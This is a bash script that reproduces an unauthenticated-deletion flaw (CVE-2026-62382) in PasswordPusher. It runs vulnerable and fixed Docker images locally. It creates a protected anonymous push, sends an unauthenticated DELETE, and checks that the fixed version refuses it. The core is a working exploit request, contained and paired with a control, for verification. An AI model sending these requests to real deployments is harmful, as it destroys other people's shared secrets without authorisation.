#!/bin/bash
# Reproduction for CVE-2026-62382: PasswordPusher unauthenticated deletion of
# anonymous pushes (nil == nil ownership check bypasses deletable_by_viewer).
#
# Runs the REAL product via official Docker images:
#   vulnerable: pglombardo/pwpush:2.9.5
#   fixed:      pglombardo/pwpush:2.9.6
#
# Flow per instance:
#   1. Start container, wait for the app to answer HTTP.
#   2. Complete first-run setup (create admin account; boot code is printed to
#      container logs - this mirrors a real fresh deployment).
#   3. As an UNAUTHENTICATED client, create an anonymous push with
#      passphrase "s3cr3t" and deletable_by_viewer=false.
#   4. Verify the payload cannot be read without the passphrase (401).
#   5. Send unauthenticated DELETE /p/<url_token>.json (the claimed entrypoint).
#   6. Verify the push state afterwards with the correct passphrase.
#
# Expected:
#   vulnerable: DELETE -> 200, push expired/deleted, payload destroyed (BUG)
#   fixed:      DELETE -> 401 "not deletable by viewers", payload intact
#
# Exit 0 = vulnerability confirmed (vuln exploited AND fixed rejected).
# Exit 1 = not reproduced.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts/http"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART"
cd "$ROOT"

VULN_IMAGE="pglombardo/pwpush:2.9.5"
FIXED_IMAGE="pglombardo/pwpush:2.9.6"
VULN_PORT=15100
FIXED_PORT=15101
ADMIN_EMAIL="admin@example.com"
ADMIN_PASS="AdminPass123!"
PASSPHRASE="s3cr3t"
PAYLOAD="SUPER-SECRET-CVE-2026-62382"

VULN_OK=false
FIXED_OK=false

log() { echo "[repro] $*" >&2; }

sha() { sha256sum "$1" | awk '{print $1}'; }

# Write a manifest reflecting the (possibly failed) run. Proof artifacts and
# hashes are only added when the files exist and are finalized.
write_manifest() {
  local vuln_digest fixed_digest vuln_commit fixed_commit
  vuln_digest="$(docker inspect "$VULN_IMAGE" --format '{{index .RepoDigests 0}}' 2>/dev/null | sed 's/.*@//' || true)"
  fixed_digest="$(docker inspect "$FIXED_IMAGE" --format '{{index .RepoDigests 0}}' 2>/dev/null | sed 's/.*@//' || true)"
  vuln_commit="$(git ls-remote https://github.com/pglombardo/PasswordPusher 'refs/tags/v2.9.5^{}' 2>/dev/null | awk '{print $1}' || true)"
  fixed_commit="$(git ls-remote https://github.com/pglombardo/PasswordPusher 'refs/tags/v2.9.6^{}' 2>/dev/null | awk '{print $1}' || true)"

  python3 - "$REPRO_DIR/runtime_manifest.json" <<PYEOF
import json, os, hashlib, sys
root = os.environ.get("PRUVA_ROOT", "$ROOT")
arts = []
hashes = {}
candidates = [
    "logs/pwpush_vuln_service.log",
    "logs/pwpush_fixed_service.log",
    "artifacts/http/vuln_create_response.json",
    "artifacts/http/vuln_read_without_passphrase.json",
    "artifacts/http/vuln_delete_response.json",
    "artifacts/http/vuln_read_after_delete.json",
    "artifacts/http/vuln_html_expire_response.txt",
    "artifacts/http/fixed_create_response.json",
    "artifacts/http/fixed_delete_response.json",
    "artifacts/http/fixed_read_after_delete.json",
]
for rel in candidates:
    p = os.path.join(root, rel)
    if os.path.isfile(p):
        arts.append(rel)
        hashes[rel] = hashlib.sha256(open(p, "rb").read()).hexdigest()
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "DELETE http://target/p/<url_token>.json (JSON API push deletion)",
    "service_started": os.path.isfile(os.path.join(root, "logs/pwpush_vuln_service.log")),
    "healthcheck_passed": os.path.isfile(os.path.join(root, "artifacts/http/vuln_create_response.json")),
    "target_path_reached": os.path.isfile(os.path.join(root, "artifacts/http/vuln_delete_response.json")),
    "runtime_stack": ["pglombardo/pwpush:2.9.5 (vulnerable)", "pglombardo/pwpush:2.9.6 (fixed negative control)", "docker"],
    "target_identity": {
        "repository_url": "https://github.com/pglombardo/PasswordPusher",
        "commit_sha": "${vuln_commit:-unknown}",
        "target_digest": "${vuln_digest:-unknown}",
        "runtime_digest": "${vuln_digest:-unknown}",
        "fixed_commit_sha": "${fixed_commit:-unknown}",
        "fixed_runtime_digest": "${fixed_digest:-unknown}",
        "platform": "linux",
        "architecture": "x86_64",
    },
    "proof_artifacts": arts,
    "artifact_sha256": hashes,
    "notes": "vuln_confirmed=${VULN_OK} fixed_control_ok=${FIXED_OK}",
}
with open(sys.argv[1], "w") as f:
    json.dump(manifest, f, indent=2)
PYEOF
}

finish() {
  local rc=$?
  # Finalize service logs before manifest hashing.
  docker logs pwpush-vuln-repro  > "$LOGS/pwpush_vuln_service.log" 2>&1 || true
  docker logs pwpush-fixed-repro > "$LOGS/pwpush_fixed_service.log" 2>&1 || true
  write_manifest || true
  docker rm -f pwpush-vuln-repro pwpush-fixed-repro >/dev/null 2>&1 || true
  exit $rc
}
trap finish EXIT

wait_http() {
  local base="$1" i
  for i in $(seq 1 60); do
    code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 3 "$base/" 2>/dev/null || true)
    if [ "$code" != "000" ] && [ -n "$code" ]; then
      log "$base answering HTTP (status $code)"
      return 0
    fi
    sleep 2
  done
  log "ERROR: $base never answered HTTP"
  return 1
}

first_run_setup() {
  local base="$1" cname="$2" cj
  cj=$(mktemp)
  # Hitting /first_run makes the app print the one-time boot code to its logs.
  curl -s -c "$cj" "$base/first_run" -o "$cj.html"
  sleep 1
  local boot
  boot=$(docker logs "$cname" 2>&1 | grep -oE 'Boot Code: [a-f0-9]+' | tail -1 | awk '{print $3}')
  if [ -z "$boot" ]; then
    log "ERROR: no boot code in logs of $cname"
    rm -f "$cj" "$cj.html"
    return 1
  fi
  local csrf
  csrf=$(grep -oE 'name="authenticity_token" value="[^"]*"' "$cj.html" | head -1 | sed 's/.*value="//;s/"$//')
  local st
  st=$(curl -s -b "$cj" -o /dev/null -w '%{http_code}' -X POST "$base/first_run" \
    --data-urlencode "authenticity_token=$csrf" \
    --data-urlencode "user[boot_code]=$boot" \
    --data-urlencode "user[email]=$ADMIN_EMAIL" \
    --data-urlencode "user[password]=$ADMIN_PASS")
  rm -f "$cj" "$cj.html"
  if [ "$st" != "302" ]; then
    log "ERROR: first-run setup on $base returned $st"
    return 1
  fi
  log "first-run admin setup completed on $base"
}

# attack_flow <base> <name-prefix>
# Creates an anonymous push (passphrase + deletable_by_viewer=false), then
# attempts unauthenticated deletion. Prints the delete HTTP status.
attack_flow() {
  local base="$1" name="$2"

  curl -s -X POST "$base/p.json" -H 'Content-Type: application/json' \
    -d "{\"password\":{\"payload\":\"$PAYLOAD\",\"passphrase\":\"$PASSPHRASE\",\"deletable_by_viewer\":false}}" \
    > "$ART/${name}_create_response.json"
  local token
  token=$(jq -r '.url_token // empty' "$ART/${name}_create_response.json")
  if [ -z "$token" ]; then
    log "ERROR: push creation failed on $base"
    cat "$ART/${name}_create_response.json"
    return 1
  fi
  log "[$name] created anonymous push url_token=$token deletable_by_viewer=false passphrase set"

  # Sanity: payload must be unreadable without the passphrase.
  local rcode
  rcode=$(curl -s -o "$ART/${name}_read_without_passphrase.json" -w '%{http_code}' "$base/p/$token.json")
  log "[$name] read without passphrase -> HTTP $rcode"

  # The attack: unauthenticated DELETE of someone else's anonymous push.
  local dcode
  dcode=$(curl -s -o "$ART/${name}_delete_response.json" -w '%{http_code}' -X DELETE "$base/p/$token.json")
  log "[$name] unauthenticated DELETE /p/$token.json -> HTTP $dcode"

  # Post-state: read with the correct passphrase.
  curl -s -o "$ART/${name}_read_after_delete.json" -w '' "$base/p/$token.json?passphrase=$PASSPHRASE" || true
  log "[$name] read after delete: $(tr -d '\n' < "$ART/${name}_read_after_delete.json" | head -c 400)"

  echo "$dcode"
}

log "=== CVE-2026-62382 reproduction: PasswordPusher anonymous push deletion ==="

docker rm -f pwpush-vuln-repro pwpush-fixed-repro >/dev/null 2>&1 || true

log "Pulling images (cached if present)..."
docker pull -q "$VULN_IMAGE" >/dev/null
docker pull -q "$FIXED_IMAGE" >/dev/null

log "Starting vulnerable container ($VULN_IMAGE) on port $VULN_PORT..."
docker run -d --name pwpush-vuln-repro -p ${VULN_PORT}:5100 "$VULN_IMAGE" >/dev/null
log "Starting fixed container ($FIXED_IMAGE) on port $FIXED_PORT..."
docker run -d --name pwpush-fixed-repro -p ${FIXED_PORT}:5100 "$FIXED_IMAGE" >/dev/null

wait_http "http://127.0.0.1:$VULN_PORT"
wait_http "http://127.0.0.1:$FIXED_PORT"

first_run_setup "http://127.0.0.1:$VULN_PORT" pwpush-vuln-repro
first_run_setup "http://127.0.0.1:$FIXED_PORT" pwpush-fixed-repro

log "--- VULNERABLE instance attack (2.9.5) ---"
vuln_dcode=$(attack_flow "http://127.0.0.1:$VULN_PORT" vuln)

# Secondary evidence on the vulnerable instance: HTML expire route.
log "--- VULNERABLE instance: HTML expire route (secondary) ---"
vtoken2=$(curl -s -X POST "http://127.0.0.1:$VULN_PORT/p.json" -H 'Content-Type: application/json' \
  -d "{\"password\":{\"payload\":\"$PAYLOAD-HTML\",\"passphrase\":\"$PASSPHRASE\",\"deletable_by_viewer\":false}}" | jq -r '.url_token')
{
  echo "POST /p.json created token=$vtoken2 (deletable_by_viewer=false)"
  echo "DELETE /p/$vtoken2/expire -> HTTP $(curl -s -o /dev/null -w '%{http_code}' -X DELETE "http://127.0.0.1:$VULN_PORT/p/$vtoken2/expire")"
  echo "POST   /p/$vtoken2/expire -> HTTP $(curl -s -o /dev/null -w '%{http_code}' -X POST "http://127.0.0.1:$VULN_PORT/p/$vtoken2/expire")"
  echo "read after: $(curl -s "http://127.0.0.1:$VULN_PORT/p/$vtoken2.json?passphrase=$PASSPHRASE" | jq -c '{expired,deleted,payload}')"
} > "$ART/vuln_html_expire_response.txt" 2>&1 || true
cat "$ART/vuln_html_expire_response.txt"

log "--- FIXED instance negative control (2.9.6) ---"
fixed_dcode=$(attack_flow "http://127.0.0.1:$FIXED_PORT" fixed)

# --- Evaluation ---
vuln_expired=$(jq -r '.expired' "$ART/vuln_read_after_delete.json" 2>/dev/null || echo "?")
vuln_deleted=$(jq -r '.deleted' "$ART/vuln_read_after_delete.json" 2>/dev/null || echo "?")
vuln_payload=$(jq -r '.payload // "null"' "$ART/vuln_read_after_delete.json" 2>/dev/null || echo "?")
fixed_payload=$(jq -r '.payload // "null"' "$ART/fixed_read_after_delete.json" 2>/dev/null || echo "?")
fixed_expired=$(jq -r '.expired' "$ART/fixed_read_after_delete.json" 2>/dev/null || echo "?")

log "vuln:  DELETE=$vuln_dcode expired=$vuln_expired deleted=$vuln_deleted payload=$vuln_payload"
log "fixed: DELETE=$fixed_dcode expired=$fixed_expired payload=$fixed_payload"

if [ "$vuln_dcode" = "200" ] && [ "$vuln_expired" = "true" ] && [ "$vuln_deleted" = "true" ] && [ "$vuln_payload" = "null" ]; then
  VULN_OK=true
  log "VULNERABLE CONFIRMED: unauthenticated DELETE destroyed the anonymous push (deletable_by_viewer=false, unknown passphrase)."
else
  log "Vulnerable instance did NOT exhibit the bug."
fi

if [ "$fixed_dcode" = "401" ] && [ "$fixed_expired" = "false" ] && [ "$fixed_payload" = "$PAYLOAD" ]; then
  FIXED_OK=true
  log "FIXED CONTROL PASSED: 2.9.6 rejected the unauthenticated DELETE and the payload survived."
else
  log "Fixed instance did NOT reject the attack as expected."
fi

if $VULN_OK && $FIXED_OK; then
  log "RESULT: CVE-2026-62382 CONFIRMED (vuln exploited, fixed rejected)."
  exit 0
fi
log "RESULT: NOT CONFIRMED."
exit 1
